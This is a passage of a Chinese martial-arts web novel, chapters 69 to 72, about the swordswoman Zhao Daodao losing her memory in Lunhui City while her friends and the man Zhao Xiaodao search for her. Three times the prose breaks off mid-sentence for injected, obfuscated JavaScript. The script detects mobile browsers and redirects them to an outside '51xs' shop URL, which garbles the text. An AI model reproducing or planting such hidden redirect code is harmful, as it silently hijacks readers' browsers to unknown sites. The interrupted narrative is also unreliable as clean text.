如果要过冬,他们还要及时置办很多物件,唐雪有些头疼,临时和唐二提起后续事宜,一直商量到了后半夜。 隔壁屋中赵刀刀靠坐发呆,不知何时睡了过去。 这些日子赵刀刀常常在梦中听到一个声音。 那声音遥远空旷,总是说,“赵刀刀,你什么也不懂,什么也不敢懂。这样是找不到那把刀的。” “你是谁,你是……赵如意吗?”赵刀刀问,“我接受那些过去,我是赵如意也好,不是也罢,能不能把小刀还给我?” “我不是赵如意。” 她听见自己追问:“你是谁?”一连问了几声,却无法传达,那声音一直重复着渐渐消失,只剩下她自己。 赵刀刀低下头喃喃道:“那我呢?”她看着自己的双手,“我又是谁呢?” 恍惚间她又听见赵小刀的声音,“刀刀。” 她呆愣道:“你为什么不告诉我?” “我希望你不要伤心。” “可是我现在很伤心。小刀,你在哪里……” 赵小刀的声音不住安慰着,“刀刀,别害怕,不要怕。” 他的声音那么熟悉,那么令人安心,赵刀刀却慌了神,发不出声回应。 声音渐渐远去,赵刀刀想要追寻而去,忽然头一歪靠了个空。 她陡然经醒,浑身僵硬,脖子更是酸痛,这才发现自己蜷缩着倚在桌边睡了一觉。 她看着自己的手,恢复知觉后一切和桌椅接触的地方都令她感到密密麻麻的痛,赵刀刀握紧拳头,重重地揉着额头。 从早到晚,赵刀刀将自己关在屋里没有出门。 时间不知道过去了多久,她已经分不清身上的疼痛到底是自己想出来的还是真实的。 即使是绸制的围帐和被子,接触到皮肤的部分也在隐隐作痛。她的指尖扎在手心,一拳砸在墙上,试图用外力让自己忽视这些不适。 忽然有脚步声停在门外,赵刀刀停下了动作。 她听到唐雪的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13589984|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音。 唐雪靠着她的门,轻声道:“恩人,你睡了吗?” 屋里没有声音。 唐雪以为赵刀刀睡了,自顾自道:“我回唐家之后经常会想起见到母亲那会儿,那时候你在冰家人面前威风极了,我从来没见过那么厉害的人。恩人,纵使现在你使不出那些刀法,又有什么关系呢?如果需要的是一把兵器,那我们慢慢找来就是。” 唐雪说起她和顾倾城还有书信来往,“我回去之后和爹爹问了,也找了她要的证据回了信,不过她可真是个怪人,我写的信她都很少回我,也不知到底看没看,不会直接扔了吧。”她安慰自己:“应该不会的。” 赵刀刀轻轻走到门边靠着,听她慢慢说。 唐雪说起他们怎么发现那个异乡人的,又说风月城真是太不一样了,她原来见到最大的雪也不过和这里的小雪一样。 她的声音渐低,“恩人,你曾说过,行走江湖的人有一朋友便足够,要是有什么事你告诉我便是,我们一起想办法,我……唐雪还是你的朋友吗?” 赵刀刀嘴里有些苦涩,她的刀不是刀,说与别人也只会觉得她嗜物如狂,神志不清。往昔种种只有她与黑刀二人知晓,旁人眼中却自始至终只有她一人,看不到他们的相伴。 唐雪是她的朋友,可她的刀,她的刀—— 她不知道如果没有刀里那个人,自己是否还能走到今天。赵小刀的存在已深入骨髓,如今黑刀已死,每每想到刀断之时,犹如扒皮抽筋,怎能不痛? 她张了张嘴,无声道:“……雪啊,不是刀的问题。” 更何况,她的手已经握不住刀了。 赵刀刀记得自己是不常哭的,人哭的时候眼睛好疼,心也好疼,她不喜欢,就强迫自己不要哭。一开始,她还发现这事比练刀容易,眼泪嘛,忍忍就回去了。 可是此刻,她为什么泪流不止,她为什么要让自己这么疼呢? 她不知道。 唐雪的声音低不可闻,“恩人,风月城比唐家堡冷太多了,好想回去啊。” 赵刀刀抱着自己,听着断断续续的声音,心想,唐雪也在哭啊。 唐雪又说了几句渐渐没了声。 赵刀刀等了会儿,将门推开一道缝隙。 唐雪还在外面。这么冷的天,她一定是累极了,竟靠着门就睡了过去。 赵刀刀将唐雪抱进屋中。 刚准备盖好被子,她自觉喉头一腥,匆忙转头紧捂住嘴,鲜血从指缝间溢出。 赵刀刀慢慢转动视线,余光见唐雪毫无反应才松了口气,出门洗净手,擦干嘴角,又回来将地上的血迹擦干。 日子竟能过得这样绝望,她看着唐雪眼下的乌黑在心中叹息。是她绊住了他们的脚步,害唐雪和唐二无法回家,此刻赵刀刀甚至不知找她的那些人还会不会再来,她除了是个麻烦外再也派不上其他用场。 这些日子浑身上下都在胡乱地疼,或许她也活不了多久了。 夜黑如墨。 赵刀刀从袖中抽出一封已经写好很久的信放在桌上。 “睡一觉就没事了。”她轻声道,掩上了门。 夜里静谧,雪积了薄薄一层,没有风。 赵刀刀没惊动任何人离开了。 她策马狂奔,不知跑了几天几夜,积雪越来越厚,走到后面无路可走,就弃马而行。 没有目标,只一路向西,停下来也不知身在何处。 赵刀刀跌跌撞撞在雪中前行,一时不知天地间还有何处容她。 早知刀会断,她宁可什么都想不起,不要去做那些古怪的梦,不要想起刀法的来历。她宁可永远待在山上——只要她的刀还在。 只要赵小刀还在。 她悲痛至极,在漫天雪地长啸一声。 太阳升起。 赵刀刀手脚皆已皲裂,嘴巴和脸干裂了口子,被冻住又再次裂开,她已不觉得痛。 身上的痛渐渐消失了。 她从来没有这么自在过。 只是那些刺眼的光,白色的雪,看得人好累。 她眯着眼睛,从缝隙看向前路,顶着风雪深一脚浅一脚地走着。 太阳落下。 赵刀刀觉得自己的生命仿佛也要随着最后一丝日光抽离,她竟感到一种诡异的安逸。 她倒在雪上。 不知过了多久。 有一道声音在耳边响起。 那声音柔柔的,好似轻纱一般,问她:“你是谁?” 她又做梦了,赵刀刀想。 这是最后一个梦了么? “我不知道。” 一声轻柔的叹息落下,那声音道:“你不该来这里。” 无穷的黑暗和疲累笼罩着赵刀刀,她任性道,“我走了很久的路,我累了。” 周围的雪好像化作了烟,轻轻弥漫在周围,又是一声叹息,“睡吧。” 赵刀刀的意识彻底陷入深渊。 风月城又下起了鹅毛大雪,洋洋洒洒,下了一夜。 唐雪推开门,这一片银装素裹白茫茫,却再也找不见她的恩人。 70. 轮回 赵刀刀是被吵醒的。 流水声,脚步声,店铺伙计的吆喝声,纷纷扰扰的交谈声在耳边绵绵不绝,把头蒙进被子里也抵挡不住。 还有一股点心的香甜气味飘过来勾着人。 她吸了吸鼻子,实在躺不下去了,皱着眉慢慢睁开眼。 阳光正好。 赵刀刀扶着头坐起,伸出上半身努力够到窗户边缘,将窗户关上。 光线暗下去,她缓了缓终于看清周围。 陌生的地方,陌生的房间,她记得自己刚刚下山,只是睡了一觉,怎么就到了这里? 她怎么会在陌生地方睡过去? 赵刀刀掀开被子走到窗边,又把窗户推开一道缝儿,向外头瞧去。 楼下人来人往,喧嚣无数,很是热闹。 这里绝不是山上。 山上比这里安静太多了,她练功日夜颠倒,房间离的窗户常年紧闭不开,每每醒来混不知昼夜。 赵刀刀还以为白天对她已失去意义,可此刻看到这些阳光,这些热闹,忽然觉得,在这样的白天醒来也不错。 困意消散,她伸了个懒腰。 所以这是哪儿呢? 赵刀刀握了握手掌,觉得有些空。好像少了什么,可她又想不出到底是什么。 她沉思的神色一变,脸上忽然变得迷茫,门外脚步声越来越近了。 咚咚咚。 有人敲门。 “……进。” 门外的人推开门,探头进来。 是个身穿青衫,头戴簪花的小姑娘。她一动,头上簪花底下的两个银坠子也跟着晃起来,叮叮地响。 赵刀刀发现自己并不认识她。 小姑娘走进来惊呼道:“呀,你怎么起来了?” 她年纪轻轻,却故作老成地叉着腰皱着眉,板着面孔。 赵刀刀笑了笑:“我为什么不能起来?” “你……”小姑娘转了转眼睛,“当然是因为你还没休息够呀,你累倒在我家门前,我把你带回来的,你都累昏过去了,怎么能这么快就起来呢。” 赵刀刀道:“可我休息好了,我现在一点也不累,我可以走了吗?” “当然不行!” “为什么?” 小姑娘睁大眼睛看着她,“我可是救……收留了你好几天啊!” “既然我昏迷了这么久,你一定早就知道了……”赵刀刀无奈摊手,“我身无分文。” “你!”小姑娘似乎没想到她是这样的人,气鼓鼓的指着她。“你这人怎么这样?” 赵刀刀本作势要走,看她气红了脸不肯罢休,开门的动作变成了关上门,缓和道:“坐?” “哼!”小姑娘抱着臂坐下来。 赵刀刀问她:“这是哪里?” “似花客栈。”小姑娘回答完就扭过头。 “似花客栈……这是哪座城,哪座山,可有什么门派?” “什么山啊门派的,你在说什么,你脑子也坏了吗?这里是轮回城,你说的那些都没有。”小姑娘疑惑地斜着眼睛看她。 “轮回城?”赵刀刀思考片刻,漫无头绪。 小姑娘看出她的迷茫,“你没听过?哼,你无礼又穷酸,见识太少当然不知道了!” “是是是,那你呢?”赵刀刀看着她,“你叫什么名字?” “你这人真的好生无礼,我收留你这么久,你醒来了一句谢都不道,也不自报家门,还问我是谁!”小姑娘抱臂看着她,哼了声扬起下巴,“我是花九九!” “花酒酒……”赵刀刀没有听过这个名字,她也从不认识姓花的人。 “哼!”花九九偏过头,自以为不露声色地偷瞄着赵刀刀。 赵刀刀微笑道,“我叫赵刀刀。” “这才差不多。”花九九高傲地转过头看着赵刀刀,露出了一个笑容。 她笑起来的时候脸上有两个深深的酒窝,煞是可爱。 赵刀刀歪头问她:“酒窝的酒?” 花九九怒了努嘴,“才不是,我排家中第九,你说是哪个九?” “我知道了,一言九鼎的九。” “哼,不用你恭维,本姑娘自然一言九鼎。” 赵刀刀问:“那花九九……我很感激你收留我,但我身无分文,实在不知该怎么报答你。” “你叫我九九就行。你这人好俗,报答难道只能用钱?” 赵刀刀露出悉听尊便的神色。 “报答嘛……”花九九骨碌碌转着眼睛,“不行,我还没想好。你真麻烦,都晕倒过去了,恐怕重活累活也难做,就……先跟着我陪我玩吧。” “哦。”赵刀刀没有反驳,虽然她真心觉得干些重活累活要比陪着花九九更容易,但她还有些事想知道。 “哦是什么意思?你难道不满意吗?” “没,挺好。” “当然好了,你能跟着本姑娘是多大的福气,多少人都羡慕不来呢。便宜你这个外乡人了!” “你说得对。”赵刀刀道:“这是我第一次到轮回城,不过我在外面还有事要做,等报答之后,还能……” “当然不行!轮回城是你想来就来想走就走的地方吗?不过……你现在这么想也是情有可原。”花九九瞪圆了眼睛看着她,露出一个坏笑,“算啦,你再待几天,看我心情,说不定我就放你走了。不过……” 她拉长了语调,“说不定那会儿你还要求着我不走呢。” 赵刀刀暗暗思索她这话的深意,她不觉得天下真有让人乐不思蜀一直待着不想走的地方,虽然她不是很想回到山上,可一直待在这里,也非她所愿。 她问,“这里这么好?” “你待着待着就知道啦,反正从外面来的人,可都不想着回去呢!” “哦。”赵刀刀又回想了下,山上的事她还记得很清楚,下山之后……她好像花光了所有的钱买了件衣服,然后干了什么?她得是做了什么事才会累昏过去啊?赵刀刀想不明白,她问:“你可见过我过来时穿的那件衣服……” “什么衣服?啊,你那件黑衣服吗,那实在脏的不能再脏了,还破破烂烂的,我已经扔掉了,怎么,你还想要吗?” 赵刀刀一愣,“既然扔了那就算了。”她明明穿着一件蓝色新衣,怎么会变成黑的? 她将手背放在桌下,默默抠着掌心,太奇怪了,她半点也回忆不起。 她试探道,“你说外面的人都会留在这里,那轮回城一定是很好的地方了,可我看这里和我原来待着的地方也没什么差别。” “你!”花九九瞪了她一眼起身道,“你竟敢说没什么差别,那我就带你看看,哼,大言不惭!” 咕—— 赵刀刀的肚子突然不合时宜地叫了起来。 她讪讪一笑,用手按了下,不打算去管。 “哼,早就知道你们外面的人都这样绕来绕去的,没想到这点事都要藏着掖着!饿了还不早说?!” 花九九翻了个白眼。“我家可不亏待客人,跟我来吧。” 赵刀刀随她下楼,一路上很多人都认识花九九,他们都亲切地称她“九九”,有人道:“九九姑娘要走啦,不多待一会儿?” 花九九道:“等下还要回来的。” “好嘞,有什么帮得上忙的九九要告诉我们啊。” 有人问:“九九这是又要去哪玩?” “带她吃东西去。”花九九指了指身后的赵刀刀。 厅堂里有人在打牌,周围围满了人,赵刀刀揉了揉脑袋,果然,她就说早上楼下怎么那么吵呢。 走在街上,她更觉得这里一切都很新奇。她在山上没见过这么热闹的集市,赵刀刀四处张望着,忽然目光一顿,停了下来。 她听到自己的声音从嗓子里挤出来,问:“那是……什么?” “嗯?书摊,你没见过吗?”花九九顺着她的目光望去,“你在看那个书摊?你想看话本吗?” “话本?你说那是话本?” 赵刀刀看着书堆,各种功法被印成小册堆着,《水剑秘籍》,《破石拳》,《东陵剑法》……还有一本书,书封皮上写四个字——”诡悟七绝”。她明明没见过这四个字,却在看清的一刻脚下生根,被钉在原地动弹不得。 花九九疑惑道:“怎么,难道不是吗,你不会真以为那些是真功夫吧?” 赵刀刀无语凝噎,她死死盯着那本书,像是要盯出个洞来。 花九九见她神色奇怪,道:“你难道很喜欢?我十岁就不喜欢这些了。不过你要是真的喜欢,买一本就是。” 赵刀刀还未说话,花九九又想起什么,掩着嘴轻笑道:“呀,我忘了你身无分文,还欠着债呐。” 赵刀刀没回答,走到书摊旁俯下身子,挑出一本诡悟刀法翻看起来。 越看越是心惊,这本册子记录详实,她所学的每一招都记录在上,甚至辅以图画帮忙理解,她拿着书的手微微颤抖,她的刀法怎么会出现在这里?难道她所学的武功在这里只配被当作画本玩乐? 摊主看她拿书,道:“姑娘手里那本十文钱。” “我……”她太过震惊,一时无话可说。 花九九看她捧着册子半晌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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赵刀刀惊疑未定,一时理解不了她在说什么,她记得自己在尚青山学武,可尚青山方圆百里人烟罕至,绝没有什么轮回城存在,花九九说什么只记得城里的事,那分明不对,这里的人她都陌生极了,城里的人……赵刀刀手里的书掉进书堆。 她脑海中突然冒出了一个名字。 …… 赵刀刀失踪已有十日。 风月城,雪还在飘。 唐雪还在焦急的寻找。 那天之后赵刀刀走了,她牵走了一匹马,留下了一封信。信里只说,不用找她,以后还会再见。 没人知道她去了哪里。 唐雪知道赵刀刀迟早会走的,没有哪里能够留下她。可她走的这样急,这样突然。唐雪还有许多话没有和她说。 若是之前的赵刀刀,唐雪或许还没这么担心,可恩人现在使不了刀法,她怎么放心的下? 本来她和唐二就是来此找人的,现在也是找人,他们寻找的目标还从不确切变成了确切。可惜进度一如既往,探子传来的消息大同小异,赵刀刀消失了,像是凭空蒸发一般,翻遍风月城也再找不见这个人。 唐雪心中不安。 可她不敢同唐二提起这个念头,也不敢真的去想。她还想再见到赵刀刀。 …… 柳城出现了一个没人见过的陌生男人。 他剑眉深目,薄唇高鼻,阴沉瘦削,如鬼似魅。 穿着一身湛蓝布衣,目光远远地落在街尾拐角处,慢慢地走在街上。 街上人看过来的眼神不会使他的头更低,也不会使他走得更快,周围的一切仿佛都与他隔着一层帘幕。 招揽客人的店家看他几眼也会收回目光,只觉得这位来客太过古怪,看久了竟生出一点惧怕。 他走得很慢,仿佛每一步都要落实了,完完全全地踩在地上才肯迈出下一步。 有人跟着他走了两条街,发现他停在一处破庙门前,终于做出一点其他举动,他推开庙门走了进去。 难道是来找顾神医的?张三摇了摇头,不像啊。最近他都好久没见过顾神医了,更何况想求得顾神医一面,若非大富大贵,少说也要在柳城待上十天半月才能得到信物,这人一看就是风尘仆仆赶路而来,他心中嗤笑,真是许多年没见过这种异想天开的外地人了。 看他穿衣也不像是富家子弟……张三摇着头示意后面的兄弟散开,不用再跟了。 男人进了庙门,脚下不停,只扫了一眼旁边的姻缘树,就走进庙堂。 这里头阴冷潮湿,灰尘遍布,显然已许久没有人来,而他挑落蛛网,只抬手在落满灰的供桌上写了什么,看了看周围,就转身离开。 他随意找了客栈落脚,问小二要了纸笔,一进房就坐在桌边,拿着笔在纸上涂画,一开始像是鬼画符,废了几张纸,写着写着才勉强能辨认出字来。 房间的烛光一直燃到半夜,等他仔仔细细将挑出勉强能看的一张纸折好收起,将脱下的蓝色衣衫整齐叠好,才熄灭烛火,慢慢躺下。 71. 贪心 傍晚。 赵刀刀已度过了几个傍晚。 她在这里浑浑噩噩恍恍惚惚,拼命回想,还是只能想起在上山的日子和一个孤零零的名字。 赵逐……那个梦里的男人明明也没有在山上出现过。 他在的地方是轮回城……他为什么来这里?为什么他的样子看起来那么癫狂? 赵刀刀闭目凝神,用掌根抵着额头慢慢按压。还是不行……她看着空荡荡的右手,有什么很熟悉的东西消失了,她想不起来。 “你怎么又开始发呆了?”花九九皱着眉走过来,不满地看着赵刀刀。 赵刀刀摇了摇头,放下手。 “摇头是什么意思?”花九九一贯寻根究底。 “没什么。” 花九九哼了一声,“好好看着,学着点儿,别忘了你还欠着我呢。” “嗯。” 那天花九九还是帮她买下了那本《诡悟七绝》,据花九九所说,她生平最爱帮助别人。 赵刀刀当时还不明白这是怎么个爱好,然而不过几天她已完全了然,这小丫头哪里是喜欢帮别人,她爱的分明是别人欠她点什么。 自那之后这十文钱的欠款像是一顶明灯缀在赵刀刀头顶,比太阳还要更迫人一些。 花九九不提收留她救过她的恩情,反而整日拿十文钱说事,赵刀刀无力反驳,只好顺着她来。 说着说着,赵刀刀也不知道自己怎么就成了花九九的跟班,她活了这么久,从来没想到有一天会因为十文钱把自己卖了。 她有些后悔,要是那天自己再坚决一些说不想买书,或许一切就不会变成现在这样。 但事已至此,她只能把目光移向赌桌。 她们正在似花客栈一楼,这里与其说是客栈,其实更像个外貌亲切的赌场,如花似梦,惹人流连。 二楼有九间房,据花九九说想在似花客栈住一晚只需千金,她说这话的时候笑嘻嘻地看向赵刀刀,关于这些钱……赵刀刀板着脸,她暂时不想想这些。 赵刀刀觉得现在就是天塌下来她也不会皱一下眉头了,世上不会再有比遇着这小姑娘更可怕的事了。 她将手背在身后抠着木柱,外面的世界太险恶,她想回到山上……就算回去要她天天看师兄耍猴戏,她也绝不会再抱怨一句了。 赵刀刀不经意看向花九九,那小姑娘抬头冲她笑了下,赵刀刀干笑了下扭过头。 当初应该有人拦着花九九救她的。 也不知道她到底做了什么错事才来到轮回城,赵刀刀听着那些人的起哄声,早已神游天外,默默想到—— 老天爷,我罪不至此吧。 赌局已快到尾声。 花九九靠过来,笑道:“你不来一把?” 赵刀刀咧嘴道,“不了。”以她现在的时运,还是别赌了。 花九九勾了勾手,赵刀刀附耳过去,她神秘兮兮道:“我可以保你必赢,只要你赢下一把,你欠我的那些债可就全都清了,你整天跟着我也心不在焉的,等账清了,可就不用再跟着我了。” 赵刀刀打了个战栗,这条件确实有两分诱人,看了看周围,没人注意她们,她也悄声道:“我拿什么赢?” “看到那摇骰子的人了吗?” 赵刀刀点头。 “他下一次会摇六六三十六下,你只要看清开始的数字,我保证最后的结果和一开始一模一样!” 赵刀刀虽然站在一旁看了几天,却丝毫没摸到其中名堂,好奇道:“为什么?难道他每摇一次都能保证骰子只转一次?” 花九九笑出了酒窝,“不对。” “难道……他每摇六次骰子都会归位?” 花九九嘻嘻一笑,摇了摇头。 “这……”赵刀刀又仔细看向那人,见他手腕灵巧,没做什么古怪动作,袖子也固定在手腕上,毫不遮遮掩掩。她看不出蹊跷,“难道骰盅里有什么机关?” 花九九故作高深地摇摇头,又勾了勾手。 赵刀刀侧耳过去,那句轻声细语如惊雷炸响在耳侧:“管他摇多少次,只要我想要你赢,你就会赢……你以为,这家店是谁的?” “……” 花九九看着赵刀刀说不出话的神色,拍腿哈哈大笑起来。 赵刀刀张了张嘴,又闭上。 话已至此,赵刀刀当然听明白花九九是在捉弄她了,也明白这里是花九九的地盘,输赢都看她心情,她想让谁赢谁就能赢。 可这小姑娘心情比天气还多变,她此时说会让她赢,等她真上桌了想必又是另一副嘴脸。 赵刀刀看着眼前的小姑娘,店里人气旺,暖烘烘的,可她总觉得花九九一笑,自己就忍不住浑身打冷战。 赵刀刀婉拒道:“我不会这个,不用了。再说,就算能赢,上赌桌也得有筹码的,我现在可真什么都拿不出来。” 她摊了摊手。 花九九眼珠子一转,“要是我说你有呢?” “啊?” “你其实也不是什么都没有……” 赵刀刀哭笑不得,“我还有……”她脸上的表情消失了,目光死死钉在花九九白皙的手掌心—— 那里静静躺着一枚黑色的铜钱。 花九九用拇指和食指拿着铜钱凑到自己眼前,透过铜钱的孔看向赵刀刀,笑道,“我那天扔你衣服的时候抖了抖,就掉下来这个,也不知道这是什么怪钱,我还从没见过呢。” 她略带歉意道,“唉,都怪那天事太多忘了给你,现在才想起来……刚好,你可以用它来赌。” 又问,“这是做什么用的钱,为什么是黑色的?” 赵刀刀道,“我不知道。” 铜钱上刻着花纹,是一朵花的样子,没有字。 花九九将铜钱递过去,问她,“这上面是什么花?” “我不知道。” 赵刀刀接过铜钱。 一时无言。 花九九在等。 赵刀刀也在等。 她一看到这黑色的铜钱就觉得眼熟的紧,总觉得这回自己得想起点什么了,可她等了半天,脑袋还是空空。 一拳打在棉花上的无力感又来了。赵刀刀紧紧攥住铜钱,“我不会赌的。” 花九九诱惑道,“你现在不赌,以后可没机会再翻身了,还是说……你其实挺喜欢当我的跟班?” 铜钱在手里硌得慌,赵刀刀却借着这点疼痛从浑浑噩噩的状态中清醒过来。 她缓缓道:“九九,这枚铜钱值不了我欠你的千金,即使你帮我赢了,这也都是你自己的功劳,怎么能算我还清了?” 赵刀刀站直了身子,“我向来不喜欢欠别人什么,可既然欠下了,那跟着你慢慢还就是,不管要多久,我都认了,绝无二话。又何必搞这种花样,反而令我更加难安?” 花九九收了笑看着她,似乎想从她脸上瞧出这到底是不是真心话。 那双暗红的眼眸没有躲闪,坦荡地任由视线扫过。 大厅里又欢呼雀跃起来,热闹非凡,今晚的赢家诞生了。 围观者慢慢散开,有的摇头叹气,有的满面红光。厅堂里一下冷了起来。 花九九眯了眯眼睛。 赵刀刀浑身的肌肉都紧绷着。 “啊……”花九九收回视线,打了个哈欠。 她年纪小,觉多,此时已经露出疲态,摆摆手道,“我困了,明天再来找你。” 赵刀刀看着她转身离开,等到客栈关上了门,才苦笑两声,脱力一般靠着柱子滑坐在地。 打扫的用扫帚碰了碰她,赵刀刀像樽雕塑没有反应,遂绕开。 过了好一会儿,赵刀刀才撑起身子,上楼关上了门。 …… 夜深人静。 突然响起了笃笃两声敲门声。 咯吱一声,门从里面打开。 柳城一家小旅馆的细窄走廊里堵着两个黑衣男人,门里站着那个消瘦鬼魅的外乡人。 往屋子里望去,烛影在墙上摇晃,桌上还放着一张笔墨未干的纸。 一个黑衣人道:“阁下,跟我们走一趟吧。” 陌生男人似乎半点也不奇怪,点了点头。“麻烦稍等片刻。” 他关上门,将桌上的纸点了火放在烛台里烧成灰烬,把床上放着的包袱背上,他又推开了门。 黑衣人相视一眼,觉得他收拾得太快,难道这人早料到他们今天要来? 男人有些僵硬地勾了勾嘴角,皮笑肉不笑道:“我没什么东西要带,房钱……劳烦了。” 他走在前面离开了客栈。 他走得不紧不慢,很有耐心。 黑衣人对他的耐心也深有体会——这人出现在柳城之后每天都要去一次红庙,但他去了什么也不做,好像就是进去看一看,然后又慢慢踱步回来写他的东西。 真是个怪人。 他们在大街小巷中绕行,柳城的天气冷了起来,天黑的早了,这会儿人们大多已在睡梦中,街上安静极了,只有水流的声音和野猫蹿过的动静,黑衣人走得很轻,男人走得很慢,三个人竟一点声儿也没发出。 黑衣人一前一后将他带到了一处院落,进了院子,又让他到一间屋子等着。 这屋子四面设门,此时却只有一面的门开着。 男人一点也不急,弯腰放下包袱顺势坐下。 他已经等了太久,习惯了等待。 对他来说时间总是过得太慢,他骨肉里的血似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13607286|137808||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也比别人流得慢些,外物的变化已经难以引起他的喜悲,连实现愿望的喜悦也不能让他动容激奋超过一天。 顾倾城进来的时候,看到的就是这么一副模样。一个死气沉沉仿佛病入膏肓的男人静静坐着,他撑着脑袋,好像随时都能睡倒过去,可一靠近,就能发现他的警惕,他从内到外地防备着一切。 顾倾城觉得这人有些奇怪,但眼前最要紧的事却不是他,“就是你在红庙留了字?” “嗯。” 顾倾城走到桌子一边坐下,“你知道些什么?” 男人缓缓抬头,他的声音低沉沙哑,轻轻颤动着,仿佛有细小的沙粒随声音抖落,“她不见了。” 顾倾城冷冷笑了笑,“我叫你来不是为了听你说这些没用的。” “我本来想去找唐雪的,但风月城封了,唐雪在风月城找她,她不见了,对吗?” “嗯。”顾倾城等着下文。 男人缓缓道,“我不知道她在哪。” “你!”顾倾城冷笑道,“你敢耍我?” 男人摇了摇头,他的眼神竟很真挚,“我也在找她,如果不是为此,我不会来找你们帮忙。” “你?”顾倾城打量着他,“你为什么找她?” “她一定没和你提起过她的家乡,我从那里过来找她。” 男人笑了笑,脸上露出一种古怪的甜蜜笑容。 顾倾城不适地打了个寒战,“你是她什么人?” “我……我是她未过门的夫君。” 顾倾城瞪大了眼睛看着他。 男人这才用手拂下微翘的嘴角,正色道,“和你们一样,我是她的朋友。”他问,“唐雪那边有线索吗?” 顾倾城摇了下头。 “那她一定也不知道赵刀刀失踪前到底和谁交手了?” 顾倾城看着他,眯起眼睛,“你难道知道她和谁交手了?” “我知道。”他低声道,“我来柳州本就是想用这消息来换一些事。” “是谁?你想换什么?”顾倾城暗忖,赵刀刀虽然失踪,但消息并未传出,唐雪找人也不是明目张胆来的,可看这人神色,仿佛笃定赵刀刀已经不见,他怎么知道…… 男人笑了笑,“我很想找到她,况且,我想知道的消息对你来说一文不值,这笔交易对你很划算。” “你说。”顾倾城扬了扬下巴。 他问,“卢盛光是谁?” 顾倾城不解道,“天下第三卢盛光?他不是打算退隐江湖么,怎么……” 她皱了皱眉,“不……你的意思是……” “嗯,刀刀和他打了一架。” “我凭什么信你?” “随你,我知道的已经说了,接下来……我还有几个问题想问。” 顾倾城皱了皱眉头。 “刀刀她……她长什么模样?” “嗯?”顾倾城愣住。 男人重复道,“我想问你,赵刀刀长什么样子?” “你不是她家乡的朋友吗……”这是哪里来的怪人?顾倾城判断着他神志不清的可能,看起来不像中毒,只是虚弱了些,或许需要进一步诊断…… 男人神情落寞,缓缓道,“若不是我眼疾初愈,又怎么会来找你们帮忙?” “你……”顾倾城看向他的眼睛,那股死气和落寞太过明显,似乎问不出答案,他就要倒下去。 “你这人……”她叹了口气,“她鹅白脸蛋,眉毛总是不修粗乱着,眼睛黑中带红,或许她眸色本就是红?”顾倾城不确定道,又继续说,“她总喜欢把头发束成一股,你既然是她的朋友,那等你见到她一定能认出她的。” 顾倾城缓缓道,“哪怕你不认识她,也总能很轻易从人群中分辨出她来。” 男人郑重道,“多谢。” “不用。”顾倾城看他站起,问,“你要去哪?” 男人摇了摇头,“多谢,打扰多时,我该走了,我还有事要做,但过不久还会再来柳州叨扰的……顾神医,如果你之后见到唐雪,劳烦帮我问问她刀刀到底从哪个方向离开。” “好。”顾倾城看他拎起包袱,问,“你到底是谁?” “我姓赵。”他笑了笑,笑容中带着苦涩的落寞,“赵小刀。” 看他继续要走,顾倾城正欲伸手拦他——却听砰的一声,赵小刀倒在地上。 她扶着额,无奈道,“刚想说你面色太差,还是先别糟蹋自己了。” 她叫人将赵小刀抬到客房。 顾倾城拔下簪子在指尖灵活地转了转,“赵小刀?家乡的朋友?” 她喃喃道,“赵小刀……赵刀刀……” 顾倾城缓缓勾起唇角,“你们到底是什么关系呢……” 72. 孽缘 黑色的铜钱在空中不断翻转,赵刀刀张开手接住,又将其弹到空中。 铜钱周围被镀上一圈流光,赵刀刀却没有去看。她的目光漫无目的地落在远处,只是手上动作不停,将铜钱一下下抛起又接住。 半晌,她轻轻叹了口气,将铜钱握紧手心。 “赵姑娘!你怎么还在这儿,九九她……”底下有人过来喊她。 赵刀刀笑了笑。“知道了,我这就去。” 她从树上跳下,问:“她在前厅?” “欸,是,是。” “行,你忙,我过去了。” “好,好,欸——”管家忍不住叫住她,叮嘱道:“赵姑娘……你等下可千万要跟紧九九啊,上次她发现你中途离得远了,回来发了好一通脾气!” “放心吧。”赵刀刀点点头,快步离开。 这里名义上是分给下人居住的院子,因为花九九不喜欢被人服侍,所以大部分屋子都空着。赵刀刀已经搬出了似花客栈,住在这里,既方便了应对花九九层出不穷的想法慢慢还人情,也省去了那些不知真假的巨大花销,在她看来,这里僻静空旷,其实比客栈好很多。 自她搬进以来,算上她,院里总共也只有三个人——管家,赵刀刀,服侍花九九起居的丫鬟。 但赵刀刀在这里见过的人却不止三个。 因为照顾花九九的丫鬟每两三天就会换了面孔。 赵刀刀不懂其中缘由,只看见每个人进来时都满面红光,有种用尽一切也要永永远远待下去的决心,但没过几天就换成了另一个人。 头几晚她夜里听着搬离的动静,总觉得自己也快被换走了,便心怀忐忑地猜测起自己的去处,或许她会被换到满是赌客的住店,或许她会在街上独自寻找无人的角落,花九九的心思太难猜,赵刀刀觉得一切都有可能发生。 这种掺杂着期待的担忧一直持续着,时间已经过去八天,她还住在这里。赵刀刀渐渐学会了既来之则安之。 花九九从不在家里吃饭,她的饭要么是在各种馆子里解决,要么就在似花客栈顺便吃了。 院子里没有厨子,也没有炊烟,越发显出一种寂寥的空远。 